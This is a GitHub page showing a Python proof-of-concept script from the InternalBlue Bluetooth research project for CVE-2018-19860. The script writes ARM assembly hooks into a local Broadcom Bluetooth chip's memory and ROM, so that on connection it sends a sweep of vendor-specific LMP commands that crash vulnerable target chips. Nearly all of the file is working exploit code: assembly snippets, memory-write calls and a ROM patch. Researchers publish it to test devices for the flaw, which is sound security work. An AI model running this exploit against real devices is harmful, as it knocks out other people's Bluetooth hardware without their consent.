-
Notifications
You must be signed in to change notification settings - Fork 86
/
CVE_2018_19860_Crash_on_Connect.py
executable file
·160 lines (125 loc) · 5.9 KB
/
CVE_2018_19860_Crash_on_Connect.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
# PoC for CVE-2018-19860
from pwnlib.asm import asm
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
to any device. If the target device Bluetooth chip crashes upon connection,
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
This snippet modifies connection establishment. To be still compatible with
scanning for devices, feature_req and name_req should not be modified.
We modify lm_SendLmpHostConnectionReq, which is only triggered when
clicking on another device to establish a connection. Then we launch the attack
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
TODO
After ~24 commands, this cannot be repeated any more. Tapping again too early
crashes the driver. Long waiting loops don't help. A good workaround is to
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
ASM_LOCATION_VSC_EXISTS = 0x00218300
LMP_VSC_CMD_START = 0x0f # 0xcf #0x52 # TODO change this depending on fuzz range
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
vsc_iterate:
push {r5-r6, lr} // backup registers
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
mov r6, r0 // backup connection struct
loop:
mov r0, r6 // restore connection struct
bl send_lmp
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
cmp r5, 0x%02x00 // loop exit condition
bne loop
// proceed as in original function lm_SendLmpHostConnectionReq
mov r0, r6 // restore connection struct
mov r5, 0x00000066 // LMP_host_connection_req << 1
bl send_lmp
pop {r5-r6, lr} // restore registers
b 0xABE78 // address from where lm_SendLmpHostConnectionReq was called
//pass connection struct in r0 and lmp data in r5
send_lmp:
push {r4-r5,lr}
mov r4, r0 // store connection struct copy to r4
// malloc buffer for LMP packet
bl 0x8691E // lm_allocLmpBlock
// fill buffer
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
//// add some more bytes if needed
//mov r1, 0x4242
//str r1, [r0, 0xe]
mov r1, r0 // move lmp packet buffer into r1
mov r0, r4 // restore connection struct
pop {r4-r5,lr} // restore r4 and the lr
b 0x3453E // branch to DHM_LMPTx. DHM_LMPTx will do the return for us.
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
"""
When sending LMP commands, lookup tables are used to determine length and other
function parameters. However, as we use undefined commands, some of them seem
never to be sent. The table lookup simply is nonsense here... so we patch around
this.
"""
ASM_LOCATION_LMP_00_LOOKUP = 0x00218200
HOOK_LMP_00_LOOKUP = 0x203dfc # This function already provides a hook, lm_BPCS_GetLmpInfoTypeFilter
ASM_SNIPPET_LMP_00_LOOKUP = """
ldr r0, =table
bx lr
// dummy table entry
.align
table:
.byte 0x6b // just a nullsub (bx lr at 0x46a+1)
.byte 0x04
.byte 0x00
.byte 0x00
.byte 0x10 // length
.byte 0x00
.byte 0x00
.byte 0x01
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches to crash other device on connect requests...")
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
# they don't know about Cypress yet...
internalblue.logger.info("Changing vendor ID from Cypress to Broadcom.")
if not internalblue.writeMem(address=0x2020f0, data=b'\x0f\x00\x00\x00', progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Writing ASM snippet for LMP BPSC table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Installing predefined hook for LMP BPSC table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Writing ASM snippet for LMP BPSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
internalblue.logger.info("Installing LMP BPSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("------------------")
internalblue.logger.info(
"To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")